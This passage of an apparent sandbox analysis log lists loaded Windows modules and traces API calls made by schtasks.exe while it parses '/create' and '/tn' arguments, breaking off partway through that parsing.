0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2261 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2262 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2263 start_va = 0x3f0000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2264 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2265 start_va = 0x2f0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 2266 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2267 start_va = 0x580000 end_va = 0x707fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 2268 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2269 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2270 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2271 start_va = 0x710000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 2272 start_va = 0x8a0000 end_va = 0x1c9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 2273 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2274 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2275 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2276 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2277 start_va = 0x1ca0000 end_va = 0x1f6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2278 start_va = 0x3f0000 end_va = 0x46cfff monitored = 0 entry_point = 0x3fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2279 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2280 start_va = 0x3f0000 end_va = 0x46cfff monitored = 0 entry_point = 0x3fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2281 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2282 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2283 start_va = 0x3f0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2284 start_va = 0x1f70000 end_va = 0x204efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f70000" filename = "" Region: id = 2285 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2286 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2287 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2288 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2289 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2290 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2291 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2292 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2293 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2294 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 123 os_tid = 0xf30 [0134.626] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fba0 | out: lpSystemTimeAsFileTime=0x19fba0*(dwLowDateTime=0x1f3e3240, dwHighDateTime=0x1d8a92a)) [0134.626] GetCurrentProcessId () returned 0xf2c [0134.626] GetCurrentThreadId () returned 0xf30 [0134.626] GetTickCount () returned 0x138716e [0134.627] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19fba8 | out: lpPerformanceCount=0x19fba8*=2061348991538) returned 1 [0134.627] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0134.627] __set_app_type (_Type=0x1) [0134.627] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0134.627] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0134.628] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0134.628] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0134.629] _onexit (_Func=0xff152afc) returned 0xff152afc [0134.629] _onexit (_Func=0xff152b58) returned 0xff152b58 [0134.629] _onexit (_Func=0xff152b80) returned 0xff152b80 [0134.629] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0134.629] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0134.629] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0134.629] _onexit (_Func=0xff152c20) returned 0xff152c20 [0134.630] _onexit (_Func=0xff152c48) returned 0xff152c48 [0134.630] _onexit (_Func=0xff152c70) returned 0xff152c70 [0134.630] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0134.630] WinSqmIsOptedIn () returned 0x0 [0134.631] GetProcessHeap () returned 0x2f0000 [0134.631] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b960 [0134.631] SetLastError (dwErrCode=0x0) [0134.631] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0134.631] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0134.631] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0134.632] VerifyVersionInfoW (in: lpVersionInformation=0x19f360, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f360) returned 1 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.632] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b980 [0134.632] lstrlenW (lpString="") returned 0 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.632] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x2) returned 0x30b9a0 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.632] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305900 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.632] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9c0 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.632] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305930 [0134.632] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305960 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305990 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059c0 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b9e0 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x3059f0 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a20 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a50 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305a80 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba00 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ab0 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.633] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ae0 [0134.633] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b10 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b40 [0134.634] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0134.634] SetLastError (dwErrCode=0x0) [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b70 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305ba0 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305bd0 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c00 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305c30 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba20 [0134.634] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.634] GetProcessHeap () returned 0x2f0000 [0134.634] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x208) returned 0x30bbc0 [0134.634] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0134.635] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0134.637] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0134.637] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0134.637] GetProcessHeap () returned 0x2f0000 [0134.637] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x74e) returned 0x30c170 [0134.637] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0134.638] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x30c170 | out: lpData=0x30c170) returned 1 [0134.638] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0134.638] VerQueryValueW (in: pBlock=0x30c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f448, puLen=0x19f4b0 | out: lplpBuffer=0x19f448*=0x30c50c, puLen=0x19f4b0) returned 1 [0134.641] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.641] _vsnwprintf (in: _Buffer=0x30bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f428 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0134.641] VerQueryValueW (in: pBlock=0x30c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f4b8, puLen=0x19f4a8 | out: lplpBuffer=0x19f4b8*=0x30c338, puLen=0x19f4a8) returned 1 [0134.641] lstrlenW (lpString="schtasks.exe") returned 12 [0134.641] lstrlenW (lpString="schtasks.exe") returned 12 [0134.641] lstrlenW (lpString=".EXE") returned 4 [0134.641] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0134.642] lstrlenW (lpString="schtasks.exe") returned 12 [0134.642] lstrlenW (lpString=".EXE") returned 4 [0134.642] _memicmp (_Buf1=0x30ba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.642] lstrlenW (lpString="schtasks") returned 8 [0134.642] GetProcessHeap () returned 0x2f0000 [0134.642] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305d20 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ca80 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cab0 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cae0 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba40 [0134.643] _memicmp (_Buf1=0x30ba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa0) returned 0x30bfc0 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb10 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb40 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.643] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cb70 [0134.643] GetProcessHeap () returned 0x2f0000 [0134.644] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30ba60 [0134.644] _memicmp (_Buf1=0x30ba60, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.644] GetProcessHeap () returned 0x2f0000 [0134.644] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x200) returned 0x30d250 [0134.644] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x30d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0134.644] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0134.644] GetProcessHeap () returned 0x2f0000 [0134.644] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x30) returned 0x307a20 [0134.644] _vsnwprintf (in: _Buffer=0x30bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f428 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0134.644] GetProcessHeap () returned 0x2f0000 [0134.644] GetProcessHeap () returned 0x2f0000 [0134.644] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c170) returned 1 [0134.644] GetProcessHeap () returned 0x2f0000 [0134.645] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c170) returned 0x74e [0134.645] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c170 | out: hHeap=0x2f0000) returned 1 [0134.645] SetLastError (dwErrCode=0x0) [0134.645] GetThreadLocale () returned 0x409 [0134.645] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="?") returned 1 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="create") returned 6 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="delete") returned 6 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="query") returned 5 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="change") returned 6 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.646] lstrlenW (lpString="run") returned 3 [0134.646] GetThreadLocale () returned 0x409 [0134.646] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.647] lstrlenW (lpString="end") returned 3 [0134.647] GetThreadLocale () returned 0x409 [0134.647] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.647] lstrlenW (lpString="showsid") returned 7 [0134.647] GetThreadLocale () returned 0x409 [0134.647] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.647] SetLastError (dwErrCode=0x0) [0134.647] SetLastError (dwErrCode=0x0) [0134.647] lstrlenW (lpString="/create") returned 7 [0134.647] lstrlenW (lpString="-/") returned 2 [0134.647] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.647] lstrlenW (lpString="?") returned 1 [0134.647] lstrlenW (lpString="?") returned 1 [0134.647] GetProcessHeap () returned 0x2f0000 [0134.647] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c170 [0134.647] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.647] GetProcessHeap () returned 0x2f0000 [0134.647] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xa) returned 0x30c190 [0134.647] lstrlenW (lpString="create") returned 6 [0134.647] GetProcessHeap () returned 0x2f0000 [0134.647] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30c1b0 [0134.647] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.647] GetProcessHeap () returned 0x2f0000 [0134.648] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x14) returned 0x30c1d0 [0134.648] _vsnwprintf (in: _Buffer=0x30c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.648] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.648] lstrlenW (lpString="|?|") returned 3 [0134.648] lstrlenW (lpString="|create|") returned 8 [0134.648] SetLastError (dwErrCode=0x490) [0134.648] lstrlenW (lpString="create") returned 6 [0134.648] lstrlenW (lpString="create") returned 6 [0134.648] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.648] GetProcessHeap () returned 0x2f0000 [0134.648] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c190) returned 1 [0134.648] GetProcessHeap () returned 0x2f0000 [0134.648] RtlReAllocateHeap (Heap=0x2f0000, Flags=0xc, Ptr=0x30c190, Size=0x14) returned 0x30c1f0 [0134.648] lstrlenW (lpString="create") returned 6 [0134.648] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.648] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.648] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.648] lstrlenW (lpString="|create|") returned 8 [0134.649] lstrlenW (lpString="|create|") returned 8 [0134.649] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0134.649] SetLastError (dwErrCode=0x0) [0134.649] SetLastError (dwErrCode=0x0) [0134.649] SetLastError (dwErrCode=0x0) [0134.649] lstrlenW (lpString="/tn") returned 3 [0134.649] lstrlenW (lpString="-/") returned 2 [0134.649] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.649] lstrlenW (lpString="?") returned 1 [0134.649] lstrlenW (lpString="?") returned 1 [0134.649] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.649] lstrlenW (lpString="tn") returned 2 [0134.649] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.649] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.649] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.649] lstrlenW (lpString="|?|") returned 3 [0134.649] lstrlenW (lpString="|tn|") returned 4 [0134.649] SetLastError (dwErrCode=0x490) [0134.649] lstrlenW (lpString="create") returned 6 [0134.650] lstrlenW (lpString="create") returned 6 [0134.650] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.650] lstrlenW (lpString="tn") returned 2 [0134.650] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.650] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.650] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.650] lstrlenW (lpString="|create|") returned 8 [0134.650] lstrlenW (lpString="|tn|") returned 4 [0134.650] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0134.650] SetLastError (dwErrCode=0x490) [0134.650] lstrlenW (lpString="delete") returned 6 [0134.650] lstrlenW (lpString="delete") returned 6 [0134.650] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.650] lstrlenW (lpString="tn") returned 2 [0134.650] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.650] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.650] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.650] lstrlenW (lpString="|delete|") returned 8 [0134.650] lstrlenW (lpString="|tn|") returned 4 [0134.651] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0134.651] SetLastError (dwErrCode=0x490) [0134.651] lstrlenW (lpString="query") returned 5 [0134.651] lstrlenW (lpString="query") returned 5 [0134.651] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.651] lstrlenW (lpString="tn") returned 2 [0134.651] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.651] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.651] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.651] lstrlenW (lpString="|query|") returned 7 [0134.651] lstrlenW (lpString="|tn|") returned 4 [0134.651] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0134.651] SetLastError (dwErrCode=0x490) [0134.651] lstrlenW (lpString="change") returned 6 [0134.651] lstrlenW (lpString="change") returned 6 [0134.651] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.651] lstrlenW (lpString="tn") returned 2 [0134.651] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.651] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.651] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tn|") returned 4 [0134.651] lstrlenW (lpString="|change|") returned 8 [0134.651] lstrlenW (lpString="|tn|") returned 4 [0134.651] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0134.651] 